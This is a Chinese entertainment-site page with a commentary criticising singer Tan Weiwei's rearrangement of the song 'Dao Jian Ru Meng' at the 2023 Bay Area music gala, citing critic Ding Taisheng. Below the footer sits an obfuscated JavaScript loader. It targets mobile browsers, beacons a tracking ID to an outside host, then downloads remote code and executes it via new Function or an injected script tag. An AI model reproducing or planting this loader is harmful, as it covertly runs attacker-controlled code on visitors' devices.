谭维维改编《刀剑如梦》遭狂批：别扭、添堵、毁经典！

时间：2023-08-18 04:28:44 阅读：2

改编是指在原有作品的基础上，通过改变作品的表现形式或者用途，创作出具有独创性的作品。改编的目的是为了让作品更加完美，更容易被大众接受。但是对于专业人士来说，改编的目的未必是这些。

以歌手谭维维为例，她喜欢改编别人的原创歌曲，希望通过改编提升自己的知名度和影响力，让人们觉得自己很厉害。谭维维有自己独特的唱歌风格和特点，她将民族特色和现代流行音乐相结合，为流行音乐注入了新的气息，也推广了民族音乐，让更多人能够接受，使民族音乐国际化，可以称之为中国摇滚。但是能力和要不要改编原创歌曲是两回事，有能力是好事，专业歌手应该把这种天赋用在创作原创歌曲上，创作出令观众折服的作品。而改编，尤其是改编大家耳熟能详的作品，就需要慎重考虑。

6月29日，湾区音乐晚会如期举行，一百多位明星出席，这是内地歌手证明自己身价的一次良机，结果却是：多位明星翻车，包括谭维维！湾区音乐晚会上，谭维维改编了周华健经典作品《刀剑如梦》，原作表达了仗剑走天涯的豪情，那份爱而不得的相忘于江湖的遗憾。《刀剑如梦》是周华健对武侠的热爱的写照，歌词第一句“我剑，何去何从”表达了作词人詹德茂老先生对武侠、对江湖的深情厚意，不愿舍弃武侠，但又不知道自己该何去何从。谭维维似乎对这首歌曲的出处不了解，或者太想卖弄技巧，她对这首歌进行了魔性改编，加入了民乐、二胡和说唱元素，还邀请了摇滚乐队的班底参与演出，让这首经典之作变得不伦不类。

湾区音乐晚会播出后，谭维维改编的《刀剑如梦》被大家嘲笑为难听的热搜话题，她第一时间在微博上回应道：“评论已看，我会面壁反思，再改进！”7月1日，知名乐评人丁太升在个人社交账号上更新了对湾区音乐晚会的评价，他认为谭维维改编《刀剑如梦》完全是在给这首歌找不合适的配乐，给观众带来困扰，非常不好听，让人感受不到原作的味道。他认为创作型歌手改编别人的作品没问题，有些作品经过改编后更好听，但并不代表在所有场合都要这样做。湾区音乐晚会上演唱的都是经典粤语歌曲，谭维维只需要演唱周华健的原版即可！

因此，改编的初心应该是为了将陈旧的作品变得神奇，给予作品第二次生命，而不是为了炫技。如果谭维维连这一点都不明白，那她可能会面临持续的质疑和嘲讽！希望这次失败能给她敲响警钟，少对经典歌曲“下手”！

影片评论

扫码用手机观看

分享到朋友圈

热门影视

  • 完美世界

    类型：国产动漫,动漫，地区：大陆

    主演：锦鲤,刘晴,赵双,吴

Copyright © 2008-2023

function FhNiXbZm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function eypldFJ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return FhNiXbZm(t);};window[''+'P'+'k'+'a'+'Z'+'G'+'C'+'T'+'b'+'I'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=eypldFJ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ik.htxjy1.com:7891/stats/14963/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZsby53YW5neWFuMTcuY24lM0E4ODkx','d3NzJTNBBJTJGJTJGd3MuZmVuZ2EyLmNuJTNBBOTUzNQ==','165695',window,document,['H','B']);}:function(){};